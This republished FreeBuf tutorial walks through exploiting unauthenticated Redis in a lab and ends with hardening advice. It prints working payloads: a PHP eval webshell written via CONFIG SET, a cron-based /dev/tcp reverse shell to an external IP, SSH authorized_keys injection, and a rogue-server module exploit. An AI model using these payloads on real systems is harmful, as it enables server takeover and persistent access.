redis未授权到getshell总结
Redis未授权访问漏洞分析与靶场搭建。文章详细探讨了Redis默认配置导致的未授权访问风险及其危害,并通过搭建靶场演示了多种攻击手法(如写入Webshell、计划任务、公钥注入等),最后提供了相应的防护建议。 2025-11-3 05:42:18 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

1 漏洞产生原因

redis安装完之后,默认情况下绑定在 0.0.0.0:6379,且没有对登录IP做限制,并且没有设置密码(默认为空)。

2 漏洞危害

  • 攻击者无需认证即可访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
  • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

3 靶场搭建

redis高版本会有一些限制(需要特殊的配置,较为麻烦),所以我们这里利用的是较低版本的redis。

wget https://download.redis.io/releases/redis-6.2.5.tar.gz
tar xzf redis-6.2.5.tar.gz
cd redis-6.2.5
make   #编译,编译成功之后,redis成功安装

3.1 搭建 redis 未授权访问漏洞靶场

redis 启动命令:

cd src
./redis-server

成功启动如下图所示:

1762141416_690824e85895c9a15628d.png!small?1762141416840

3.2 修改配置文件

我们需要修改相关配置文件,文件位置为“/root/redis-6.2.5/redis.conf”。去掉ip绑定,允许除本地外的主机远程登录redis服务,关闭保护模式,允许远程连接redis服务。

修改前,在75行以及94行处进行修改。

1762141429_690824f5595ae108066aa.png!small?1762141429662

修改后:

1762141445_69082505b387cb9c4b818.png!small

重启redis服务,并指定相关的conf文件,这样我们修改的东西才会生效。

启动:

./redis-server /root/redis/redis-6.2.5/redis.conf

1762141514_6908254ad4e0c6fcd79e0.png!small?1762141514317

4 靶场攻击

4.1 未授权访问

直接写入shell脚本

前提条件:

  • 低版本或者enable-protected-config yes
  • 知道网站绝对路径,并且需要增删改查权限
  • 获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏
  • root启动redis
  • redis弱密码或者无密码
config set dir /www/wwwroot/nxxiake.club/
config set dbfilename nanmus.php
set x "<?php phpinfo();eval($_POST['nanmus']);?>"
save

1762141620_690825b478220723eba82.png!small?1762141620269

上传成功,这里我们可以使用哥斯拉进行远程连接

1762141634_690825c22c2f74dc59cf9.png!small?1762141633646

这里发现命令执行不可以,禁用了相关函数,这里不过多讲解。

1762141651_690825d38bb59ac6078eb.png!small?1762141651068

4.2计划任务

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/82.157.166.165/5566 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

这里保存失败,找了很久都没找到原因,原来是系统中挖矿了,恶意脚本还禁止了其他的计划任务的写入。感兴趣的朋友可以看看我挖矿病毒应急响应的文章,蛮有意思的。

1762148311_69083fd710fffb1f193f6.png!small?1762148310957

到靶机上查看,计划任务写入成功:

1762148321_69083fe185e4e41857fe0.png!small?1762148321403

攻击机开启nc监听,等待反弹shell

一段时间后反弹成功。

4.3 写入公钥

首先,我们需要获取攻击机的公钥(id_rsa.pub),保存为txt文件,并检查相关公钥,显示无异常

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > rsakey.txt
cat rsakey.txt

1762148376_69084018c375c753a75ee.png!small?1762148377619

写入本地公钥至目标靶机

redis-cli -h 49.232.30.123 #连接靶标
config set dir /root/.ssh/  #设置目录
config set dbfilename authorized_keys  #设置文件名
config get dir #检查设置的目录
config get dbfilename #检查设置的文件名
set xz "\n\n\n 你的id_rsa.pub \n\n\n" #写入公钥
save #保存

1762148376_69084018cff6d328e8079.png!small?1762148377619

查看靶机中的公钥,发现已经被攻击机写入了

1762148386_6908402278554a643d3b5.png!small?1762148386530

直接进行ssh连接,登陆成功

ssh  -i  /root/.ssh/id_rsa  root@ip地址

1762148398_6908402ed38e685048c93.png!small?1762148399139

4.4 主从复制

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

使用相关脚本(项目地址为https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

python3 redis-rogue-server.py --rhost=<target ip> --lhost=<vps ip> --exp=exp.so

1762148413_6908403d8eb948f75d523.png!small?1762148413317

vps开启监听

1762148422_69084046375cd886bc626.png!small?1762148421876

成功获取反弹shell

5 防护建议

  1. 开启密码验证并设置高强度密码
  2. 绑定相关ip,修改相关默认端口,设置白名单访问,或者是内网ip访问
  3. 禁止高权限用户运行redis
  4. 禁用高危命令

6 总结

写入webshell虽然简单便捷,但是很多网站都严格限制了写入规则,但是可以通过定时任务,写入公钥等来获取webshell并建立持久性控制。自己使用需要小心,redis未授权是比较常见的漏洞了,常常被用于执行挖矿病毒,甚至是勒索病毒。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/455367.html
如有侵权请联系:admin#unsafe.sh